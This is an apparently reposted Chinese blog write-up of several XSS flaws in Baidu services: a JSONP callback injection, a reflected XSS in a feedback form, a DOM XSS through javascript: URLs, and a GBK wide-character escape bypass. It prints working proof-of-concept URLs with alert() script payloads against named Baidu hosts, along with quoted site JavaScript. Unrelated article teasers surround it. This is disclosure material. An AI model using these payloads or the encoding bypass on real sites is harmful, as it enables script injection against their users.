The Week of Baidu Bugs - Day 05: 百度空间多处XSS漏洞

Revit Dynamo实战:用Excel数据批量生成桥梁模型(附自适应族技巧) 本文详细介绍了如何利用Revit Dynamo结合Excel数据实现桥梁参数化建模,重点讲解了数据驱动建模、自适应族优化及大型项目性能管理三大核心技巧。通过结构化Excel数据、高级自适应族创建和分块处理策略,显著提升桥梁建模效率与设计变更响应能力。 阅读详情
 

继续我们的XSS之旅,先来看一个YY漏洞

XSS 5: 百度PDC CallBack XSS漏洞
baidu pdc的imstate从名字上来看似乎是用来查询IM在线情况的,正常情况下的一个请求大致如下:

http://pdc.baidu.com/imstate/?callback=IM_STATUS_CALLBACK&type=json&uids=testuser

这个页面会返回一个json的值

IM_STATUS_CALLBACK({ })

但是在这里IM_STATUS_CALLBACK可以由用户控制,所以就能注入我们的恶意脚本

http://pdc.baidu.com/imstate/?callback=<script>alert(/XSS/)</script>&type=json&uids=

但是由于这里对callback的长度做了限制,又是该死的长度,所以导致我们只能玩玩这种弹框框的YY js。
但是用来骗骗小MM还是不错的。

XSS 6: 百度搜索用户反馈XSS
漏洞很简单,直接reflect
http://utility.baidu.com/quality/quality_form.php?word=“><script>alert(/Fvck+Baidu+XSS/);</script><”

看看返回结果里,发现有一处地方是htmlencode过的,但是还有一个input里的value,则没有做htmlencode,只是简单的对双引号做了下处理,从而造成了XSS

<body onload=”document.form1.requireddescription.focus()”>
<form name=”form1″ method=”post” action=”quality_result.php” onSubmit=”return checkrequired(this)”>
<input type=”hidden” name=”query” value=”/”><script>alert(/Fvck Baidu XSS/);</script></”“>

XSS 7: 百度搜藏XSS
这个漏洞有点特别。

搜藏可以从很多地方点进去,这里不赘述。

打开搜藏页面后,控制网址的内容为 javascript:alert(/XSS/);

页面打开时候是没有问题的,但是点击“添加收藏”后,则会执行我们的JS

实际上,这里baidu是用ajax来做了一系列操作,比如判断URL是否重复,判断提交是否成功。
ajax的返回是用json来做的,主要处理返回结果的js为 itemadd.js
返回页面:

{
resultNo:
"url重复" ,
resultBool:
false,
resultNum:30005,
userLogin: "1",
itemId: "026aec1d90a1e9e5ea1182a1"
}


如果仅仅是分析HTML页面,是看不到任何执行了我们JS的地方的,但我们的小框框确实是弹出来了。

这又是一个典型的DOM XSS

原因出在这里,在itemadd.js中:
function checkForm(){
var f=document.fadd,oit=f.it,oiu=f.iu,odc=f.dc,otn=f.tn,vst=0;
if(f.st.checked==true)
vst=1;
if(chek_submit(oit,oiu,odc,otn)){
var vit=oit.value,viu=oiu.value,vdc=odc.value,vtn=otn.value,url=’/do/cm’;
var p_pars=’iu=’+encode(viu)+’&st=’+encode(vst)+’&dc=’+encode(vdc)+’&it=’+encode(vit)+’&tn=’+encode(vtn);
var pars=’ct=5&’+p_pars;

new Ajax.Request(url,{
method:’post’,
parameters:pars,
onComplete:function(xmlHttp){
var jsonResults=’('+xmlHttp.responseText+’)';
var retno=eval(jsonResults);
if(parseInt(retno.userLogin)==0){
if(nw==true)
location.href=”http://passport.baidu.com/?login&tpl=fa1&next_target=_blank&skip_ok=1&u=”+checkUrl(location.href,1800);
else location.href=”http://passport.baidu.com/?login&tpl=fa&skip_ok=1&u=”+checkUrl(location.href,1800);
return
}

var retTxt=retno.resultNo;
var resultNum=retno.resultNum;

if(retTxt==”url重复”){
var itemId=retno.itemId;

if(confirm(”url重复,是否覆盖?”)){
new Ajax.Request(url,{
method:’post’,
parameters:”iid=”+itemId+”&ct=8&”+p_pars,
onComplete:function(xmlHttp){
var jsonResults=’('+xmlHttp.responseText+’)';
var retno=eval(jsonResults);

if(parseInt(retno.userLogin)==0){
if(nw==true)
location.href=”http://passport.baidu.com/?login&tpl=fa1&next_target=_blank&skip_ok=1&u=”+checkUrl(location.href,1800);
else
location.href=”http://passport.baidu.com/?login&tpl=fa&skip_ok=1&u=”+checkUrl(location.href,1800);
return
}

var retTxt=retno.resultNo;
var resultNum=retno.resultNum;
checkResult(retTxt,resultNum)
}
})
}
}
else{
checkResult(retTxt,resultNum)

}
}
})
}
else
return false
};

……

function checkResult(retTxt,resultNum){
if(nw==true){
if(retTxt==”添加成功”){
hide(G(”DivShm”));
window.resizeTo(600,507);
hide(G(”iaMain”));
hide(G(”iaMain”));
G(”DivSucess”).innerHTML=”<p><table align=’center’ width=’50%’><tr><td height=’50px’></td></tr><tr><td style=’text-align:center;height:100px;font-size:16px;’><img src=’/-/imgs/icn_ok.gif’/>&nbsp;恭喜您,添加搜藏成功!</td></tr& gt;<tr><td align=’center’ style=’font-size:12px;color:#808080′>本窗口将在<span id=’autoTime’>3</span>秒内自动关闭…</td></tr><tr& gt;<td align=’center’><input type=’button’ onclick=’javascript:self.close();’ value=’&nbsp;&nbsp;立即关闭&nbsp;&nbsp;’></td>< /tr></table></p>”;
show(G(”DivSucess”));
IntervalObj3=window.setInterval(”w_close()”,1000)
}
else{
switch(resultNum){
case 30101:showEM(document.fadd.it.parentNode.childNodes[1],errmsg[1]);
break;
case 30102:showEM(document.fadd.dc.parentNode.childNodes[1],errmsg[3]);
break;
case 30103:showEM(document.fadd.tn.parentNode.childNodes[1],errmsg[4]);
break;
case 30100:showEM(document.fadd.iu.parentNode.childNodes[1],errmsg[2]);
break;
default:{hide(G(”DivShm”));hide(G(”iaMain”));
window.resizeTo(600,507);
var c=G(”errDiv”);
show(c);

var s=”<p>添加失败!”+retTxt+”&nbsp;&nbsp;<a href=’javascript:back();’>点击返回</a></p>”;
c.innerHTML=s
}
}
}
}
else{
if(retTxt==”添加成功”)
location.href=redirectUrl;
else{
switch(resultNum){
case 30101:showEM(document.fadd.it.parentNode.childNodes[1],errmsg[1]);
break;
case 30102:showEM(document.fadd.dc.parentNode.childNodes[1],errmsg[3]);
break;
case 30103:showEM(document.fadd.tn.parentNode.childNodes[1],errmsg[4]);
break;
case 30100:showEM(document.fadd.iu.parentNode.childNodes[1],errmsg[2]);
break;
default:{var c=G(”errDiv”);
show(c);
var s=”<p>添加失败!”+retTxt+”&nbsp;&nbsp;<a href=’javascript:back();’>点击返回</a></p>”;
c.innerHTML=s;
hide(G(”DivShm”));
hide(G(”iaMain”))
}
}
}
}
};

根据这段JS,可以看到如果返回页面为真,则改变location.href
if(retTxt==”添加成功”)
location.href=redirectUrl;
而在这里,redirectUrl却不在这个js里,我找了半天,最后发现这个变量是定义在html文件里的
在style标签下面就定义了这个变量
</style>
<script src=”/-/js/base.js?v=1.1″></script>
<script src=”/-/js/checkform.js?v=1.1″></script>
<script src=”/-/js/suggest.js?v=1.1″></script>
<script src=”/-/js/itemadd.js?v=1.2″></script>
<script language=’javascript’>
<!–
var redirectUrl=”javascript:alert(2);”;
var s_tags=”未分类”;
var s1_tags=”";
var a_tags = [];

而最要命的就是,这个变量是直接取了我们输入进去的网址的值。

所以在ajax提交后,页面返回后,会重新赋值location.href,改变ajax的 redirectUrl
从而会以伪协议执行我们的javascript,所以可爱的小框框就弹出来了。

分析到这里,我们就顺便发现了另外一个XSS漏洞,就是出在
var redirectUrl=”javascript:alert(2);”;

XSS 8: 百度搜藏宽字符XSS漏洞(Firefox)

先假设输入双引号闭合掉前面的引号,发现做了转义
var redirectUrl=”/”;alert(/XSS/);“;

但是如果利用宽字符,在Firefox 下,应该能逃避这种检查机制。

所以我们构造%c1″;alert(/XSS/);// ,发现在Firefox下成功执行js!

看看JS源代码,发现引号保留了,而用来转义的 “/”则和之前输入的 %c1 一起组成了一个新的宽字符[%c1/],从而绕过转义机制。

麒麟银河操作系统V10部署ffmpeg(也能用于Linux系统) 部署ffmpeg用来处理视频的各种操作,如编码解码,格式转换,剪辑,处理实时视频流,音频流,加滤镜等 阅读详情

相关推荐

SIMetrix教程-001.SIMetrix软件简介与安装

  由于某些原因需要用到SIMetrix仿真软件,然而网上的资料并不是特别多,故在此记录一下这款仿真软件的学习过程,也给有需要的人提供一些参考,免走弯路。如果使用过Pspice或者LTspice软件,学习SIMetrix会很容易入门,仿真软件都是大同小异的,会一样后都可以快速入门其他软件。   SIMetrix是一款以SPICE模型为基础的仿真软件,集成了SIMetrix和SIMPLIS两款内核,为工程师提供了可靠的、易于使用的、并完美结合了速度与精度的电路仿真方式。官方的话不多说,和LTspice一样,优

gaoyong_wang的博客 2万+

跨站脚本攻击(XSS)

跨站脚本攻击,英文全称是Cross Site Script。XSS攻击,通常指黑客通过”HTML注入“篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示案例是跨域的,所以叫做”跨站脚本“。但是发展到今天,由于JavaScript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因,XSS这个名字却一直保留下来。 1)...

weixin_40270125的博客 3570

面试篇 - LoRA(Low-Rank Adaptation) 原理

输出示例:trainable params: 262,144 || all params: 6,742,016,000 || trainable%: 0.0039。论文实验显示:零初始化 BB 可使初始损失与预训练模型相差不足0.1%,而非零初始化可能差50%+。若初始 ΔW≠0,模型可能立即偏离预训练学到的知识(如GPT-3突然忘记如何造句)。:如同汽车改装,先保持原厂配置(W),再逐步加装新部件(ΔW),避免直接飙车失控。:大模型的权重变化矩阵 ΔWΔW 通常是低秩的(少数主成分主导变化)。

qq_60245590的博客 1153

百度XSS Worm 分析

1.expressioncss expression(css表达式)可以在CSS中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始支持,最后因为标准、性能、安全性等问题,微软从IE8 beta2 开始取消对 CSS expression的支持。也就是说可以在css代码后面插入一段js代码,css的属性值为其后的js代码计算出来的值。这样就带来了安全隐患,可以在css中插入恶意j...

Killua 3813

运行 ui5 serve 命令行报错的处理方法

如果大家运行 ui5 serve 命令行,报如下的错误消息: ui5 不是内部或外部命令,也不是可运行的程序: 只需要执行命令行,全局安装 ui5 cli(command line interface)这个命令行工具即可: npm install --global @ui5/cli 这个 ui5 cli 的入口执行文件,实际安装在了我 Node.js 的安装目录下: 更多Jerry的原创文章,尽在:“汪子熙”: ...

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 1343

79、昇腾系列服务器/昇腾系列推理卡/昇腾系列嵌入式开发板+Dify+one api部署DeepSeek-R1-Distill-Qwen-32BW8A8+RAG本地模型知识库和负载均衡双实例

阶段,安装过程缺什么,,在docker外面git下源码,进入容器内部进行量化,这里的容器建议在创建个8卡的容器,双卡容器量化会显示npu显存不够,除非你用cpu转模型,我就懒得创建容器了,使用cpu量化吧,巨慢;创建容器,进入容器,计划使用两张昇腾NPU卡推理DeepSeek-R1-Distill-Qwen-32B的W8A8模型,所以构建的容器用两张卡,选6、7卡吧,0-6号卡可以跑文本嵌入模型、重排序模型;直接进入量化阶段,在容器外面操作即可,环境不用管,因为系统已经默认配置了环境,直接跳到。

sxj731533730 6123

js 前端防xss攻击——百度UEditor解决方案

xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。比如获取用户的Cookie,导航到恶意网站,携带木马等。  大部分的xss漏洞都是由于没有处理好用户的输入,导致攻击脚本在浏览器中执行,这就是跨站脚本漏洞的根

两只橙的博客 1万+

深入大模型-19-Windows10中安装OpenClaw-CN配置接入智谱免费大模型

OpenClaw CN (中国社区版) 是 OpenClaw 的本地化维护版本,针对国内网络环境进行了深度优化,源码级原生支持 DeepSeek/Qwen 等国产大模型,致力于让中国开发者拥有最顺滑的 Agent 开发体验。

qq_20466211的博客 771

XSS构造技巧

利用字符编码: 百度曾经出过一个XSS漏洞,在一个<script>标签中输出一个变量,其中转义了双引号: var redirectUrl="\";alert(/XSS/);"; 一般来说这里是没有XSS漏洞的,因为变量位于双引号内,系统转义了双引号。但是百度的返回页面是GBK/GB2312编码的,因此"%c1\"这两个字符被组合在一起会成为一个Unicode字符,在Fir...

weixin_30376453的博客 298

PCL 均匀采样【2026最新版】

根据输入点云数据创建一个微小的三维立方体集合,然后计算每个三维立方体的重心;由于该重心点不一定是原始点云中的点,直接用该点来表示立方体内所有的点会丢失原始点云的细小特征;所以使用k最近邻搜索寻找距离重心点最近的原始点来代替重心点。

点云侠的博客 41万+

关于DEJA_VU3D - Cesium功能集专栏说明

专栏主要目的是对工作中基于Cesium实现过的功能进行整合,暂时打算一周2-3更的样子来更新,每一篇都会奉上完整源代码(尽可能把代码简洁一些)。功能实现大多数是自己琢磨实现的,也有参考其他大神后整理实现的,初步算了算现在有差不多实现小130个左右的功能,后续也会不断的更新。..........................................

总得学点什么的博客 2万+

Baidu某频道存在非持久型xss

漏洞详情 披露状态: 2010-07-26: 细节已通知厂商并且等待厂商处理中 1970-01-01: 厂商已经确认,细节仅向厂商公开 1970-01-11: 细节向核心白帽子及相关领域专家公开 1970-01-21: 细节向普通白帽子公开 1970-01-31: 细节向实习白帽子公开 2010-08-26: 细节向公众公开 简要描述: 某频道存在非持久型xss,在精心构造后,可以被攻击者所利用。 详细说明: cang.baidu.com存在非持久型xss http://cang.baidu.c

swordheart的博客 3392

51单片机 步进电机正反转控制+Proteus仿真

51单片机 步进电机正反转控制+Proteus仿真 Proteus仿真 实例代码 /*************** ******************/ #include <reg52.h> #define uint unsigned int #define uchar unsigned char uchar code FFW[]= { 0x01,0x03,0x02,0x06,0x04,0x0c,0x08,0x09 }; uchar code REV[]= { 0x09,0x

perseverance51博客 2788

XSS简介

XSS简介 0x10 跨站脚本 (Cross-site scripting, 简称XSS) 是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。 **XSS攻击 **通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方式注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。...

Neil.Liu的博客 485

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

Perl Underground 5

  $$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$ $$$$ %%%%%%%% X x $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ %%%%%%%% x H H $$

1万+

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

WINDOWS下使用EXPECT的简单例子

这是一个自动登录AIX服务器的例子。 1、先去如下地方下载expect:windows">http://expect.nist.gov/#windowsftp://bmrc.berkeley.edu/pub/winnt/tcltk/expect2、安装默认路径是C:Program FilesExpect-5.21binexpect.exe就在这里3、写个简单的脚本sample.tx

8297

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

crt应用脚本一例子,windows下的expect

日常工作有大量cisco路由器,交换机设备备份,telnet设备需要通过其一台服务器(solaris系统)进入,因网络关系无法通过TFTP完成备份.因此程序通过crt软件脚本实现.作:gyhong# $language = "VBScript"# $interface = "1.0"Cnstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=db.mdb

3058

Dvbbs 8.2 login_sql注入漏洞探析

挺无聊的,分析下”洞网/”,环境架好后.找到有问题的语句:       End If       Else              username=trim(Dvbbs.CheckStr(request("username")))              If ajaxPro Then username = unescape(username)       End If

2945

编程通过WMI获取系统信息

 要了解WMI,请查阅:http://www.microsoft.com/china/technet/community/scriptcenter/resources/wmifaq.mspx#EJC 。       WMI是一组COM对象,其接口比较多,详细请参考:http://msdn.microsoft.com/library/default.asp?url=/library/

2748

ASP加密

 大家在入侵中应该是捡到过别人的Webshell吧?也许有的大马功能很好,于是你就用了,但是你没想过该马可能有后门?现在很多的大马都加密了,打开时候一片乱码,是不是也想加密自己的大马了,加密后的Webshell不仅可以防止别人捡我们的Shell用,还能免杀webshell。ASP木马加密不难,让我们一起踏上大马加密之旅。   一:人工加密  1.主加密函数的编写  1)主解密与解密

2584

w18.vg/lz.gif网马解密之粗浅分析

1.网马网页地址:hxxp://w18.vg/lz.gif2.记事本打开内容如下:rO91="d/rPPP/|/rh",eU44="hdP/`Pp///rq/}///";.3800981,xL41="4.352468E-02",eU44=/:r/{//ecZvy/)D/+/./*k/>Po/_EnKQ5R/(/ I6h/~/r/!jH/"0Filw/?g/%//f8X/,OAzB/[/`mWS

2551

Cross Site Scripting - Attack and Defense guide

  ____ / / ________________________________

2436

VBS病毒解密初探

1。加密的VBS病毒: 引用:0.1aa="(( 5.6}{=|5.6|}{=||}{=|.|}{=|K O V|& }{=|F W 65.65|}{=(659)&(661)&(661)&(667)&|://|&(30)&|.|

2327

vbs 一些脚本

 什么是 Runomatic?你不想我们来破坏你自己找到答案时的那种惊奇感,是吧?任务1:检索计算机名老实告诉你吧,通过脚本来检索计算机名的途径数不胜数。但是因为 WMI 将要成为检索信息的主流技术,所以我们所展示的是一段返回目标计算机名称的 WMI 脚本。strComputer = "."Set objWMIService = GetObject("winmgmts://" & strCompu

2192

2008 网马王网站分析

发现一个网站被挂马....于是就开始动手解马...因为版面有限!所以一些解码过程就不写了...有兴趣的人可以分析看看.下列所有网马把漏洞还有加密方式用的淋淋尽致...如果想要练习网马分析的...这个是不错的例子..分析被挂马的网站 www.garden-ms.com开始延伸                                      RealPlayer ActiveX控件栈溢出漏

1893

System Security Administration for NT

文章来源:http://www.usenix.org/文章提交:xyzw (xyzw_at_963.net)System Security Administration for NT Harlan Carvey hcarvey@netsol.com Network Solutions http://www.networksolutions.com AbstractSystem security a

1796
上一篇: MS Office Snapshot Viewer ActiveX Exploit 最新网马
下一篇: Ruining the Rustock.C rumors and myths and Kaspersky Lab role
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值